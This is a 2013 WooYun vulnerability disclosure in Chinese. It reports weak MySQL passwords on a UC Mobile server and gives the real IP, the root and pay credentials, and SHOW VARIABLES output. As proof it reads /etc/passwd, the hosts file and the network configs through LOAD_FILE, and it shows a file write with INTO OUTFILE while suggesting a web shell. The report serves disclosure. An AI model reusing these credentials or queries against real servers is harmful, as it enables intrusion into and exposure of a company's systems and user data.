当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-042097

漏洞标题：自动化枚举系列#1 UC某服务弱口令导致可内网渗透

相关厂商：UC Mobile

漏洞作者： 猪猪侠

提交时间：2013-11-05 23:08

修复时间：2013-11-10 23:09

公开时间：2013-11-10 23:09

漏洞类型：服务弱口令

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-05： 细节已通知厂商并且等待厂商处理中
2013-11-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于各种业务系统自身的业务特性，会开放许多接口便于数据处理，如果接口或功能未进行严谨的安全控制或判断，将会促进骇客加快攻击业务系统的过程，大大降低了骇客发现威胁的人力成本。
随着模块化的自动化攻击工具包越来越趋向完善，将给业务或数据带来最大的威胁。

详细说明：

#1 漏洞描述
IP: 121.14.161.196 端口：3306 存在mysql弱口令
用户：root 密码：root
用户：pay 密码：paypw
服务器同时对外开放了WEB服务
http://pay.uctest2.ucweb.com:8039/role.jsp
利用MYSQL的into outfile功能，或许可以写入一个SHELL？

/*Server Information For - root@121.14.161.196*/ 
-------------------------------------------------
MySQL Version                 : 5.1.54-log
Host                          : 121.14.161.196
User                          : root
Port                          : 3306
Server Default Charset        : utf8
/*SHOW VARIABLES Output*/
---------------------------
Variable_name                            Value                                                                                      
---------------------------  -------------------------------
auto_increment_increment                 1                                                                                          
auto_increment_offset                    1                                                                                          
autocommit                               ON                                                                                         
automatic_sp_privileges                  ON                                                                                         
back_log                                 600                                                                                        
basedir                                  /home/mysql/mysql/                                                                         
big_tables                               OFF                                                                                        
binlog_cache_size                        1048576                                                                                    
binlog_direct_non_transactional_updates  OFF                                                                                        
binlog_format                            MIXED                                                                                      
bulk_insert_buffer_size                  67108864                                                                                   
character_set_client                     utf8                                                                                       
character_set_connection                 utf8                                                                                       
character_set_database                   utf8                                                                                       
character_set_filesystem                 binary                                                                                     
character_set_results                    utf8                                                                                       
character_set_server                     utf8                                                                                       
character_set_system                     utf8                                                                                       
character_sets_dir                       /home/mysql/mysql/share/mysql/charsets/                                                    
collation_connection                     utf8_general_ci                                                                            
collation_database                       utf8_general_ci                                                                            
collation_server                         utf8_general_ci                                                                            
completion_type                          0                                                                                          
concurrent_insert                        1                                                                                          
connect_timeout                          10                                                                                         
datadir                                  /home/mysql/data/                                                                          
date_format                              %Y-%m-%d                                                                                   
datetime_format                          %Y-%m-%d %H:%i:%s                                                                          
default_week_format                      0                                                                                          
delay_key_write                          ON                                                                                         
delayed_insert_limit                     100                                                                                        
delayed_insert_timeout                   300                                                                                        
delayed_queue_size                       1000                                                                                       
div_precision_increment                  4                                                                                          
engine_condition_pushdown                ON                                                                                         
error_count                              0                                                                                          
event_scheduler                          OFF                                                                                        
expire_logs_days                         8                                                                                          
flush                                    OFF                                                                                        
flush_time                               0                                                                                          
foreign_key_checks                       ON                                                                                         
ft_boolean_syntax                        + -><()~*:""&|                                                                             
ft_max_word_len                          84                                                                                         
ft_min_word_len                          4                                                                                          
ft_query_expansion_limit                 20                                                                                         
ft_stopword_file                         (built-in)                                                                                 
general_log                              OFF                                                                                        
general_log_file                         /home/mysql/log/general.log                                                                                                                                                    
hostname                                 jiuyou211


#2 承载业务
初步校验了下数据内容，发现和UC的游戏业务有关，内含多个订单、用户信息表

uc_mysql_upp.jpg

漏洞证明：

#3 读文件

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
nemo:x:500:500::/home/nemo:/bin/bash
nagios:x:501:501::/home/nagios:/bin/bash
suhz:x:502:502::/home/suhz:/bin/bash
lijian:x:503:503::/home/lijian:/bin/bash
together:x:504:504::/home/together:/bin/bash
gaozq:x:505:505::/home/gaozq:/bin/bash
zhongmj:x:506:506::/home/zhongmj:/bin/bash
paycenter:x:507:507::/home/paycenter:/bin/bash
upay:x:508:508::/home/upay:/bin/bash
gamepay:x:509:509::/home/gamepay:/bin/bash
TestEmu:x:510:510::/home/TestEmu:/bin/bash
mysql:x:511:511::/home/mysql:/bin/bash
oracle:x:514:515:Oracle software owner:/home/oracle:/bin/bash
zhuangqi:x:515:516::/home/zhuangqi:/bin/bash
lixl:x:516:517::/home/lixl:/bin/bash
play:x:517:518::/home/play:/bin/bash
payint:x:518:519::/home/payint:/bin/bash


# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
10.20.102.143   jiuyou211
192.168.3.105   hg.ucweb.local


SELECT LOAD_FILE('/etc/sysconfig/network-scripts/ifcfg-eth0')

# Intel Corporation 82574L Gigabit Network Connection
DEVICE=eth0
HWADDR=00:25:90:01:AD:18
ONBOOT=yes
IPADDR=121.14.161.196
NETMASK=255.255.255.128
GATEWAY=121.14.161.129


SELECT LOAD_FILE('/etc/sysconfig/network-scripts/ifcfg-eth1')

# Intel Corporation 82574L Gigabit Network Connection
DEVICE=eth1
HWADDR=00:25:90:01:AD:19
ONBOOT=yes
IPADDR=10.20.102.143
NETMASK=255.255.255.0


# 成功写入文件
SELECT 'wooyun' INTO OUTFILE '/tmp/hello.txt'
SELECT LOAD_FILE('/tmp/hello.txt')
wooyun

修复方案：

#1 网络边界需要认真对待。
#2 安全是一个整体，保证安全不在于强大的地方有多强大，而在于真正薄弱的地方在哪里。
#3 杜绝为了方便而造成的不必要的信息泄露和弱口令。

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-11-10 23:09

厂商回复：

漏洞Rank：5 (WooYun评价)

最新状态：

2013-11-11：@猪猪侠，抱歉，事情太多忘记了三天不回复就视为忽略了，之前你发的漏洞消息我们是按最高级别20给的，忘见谅。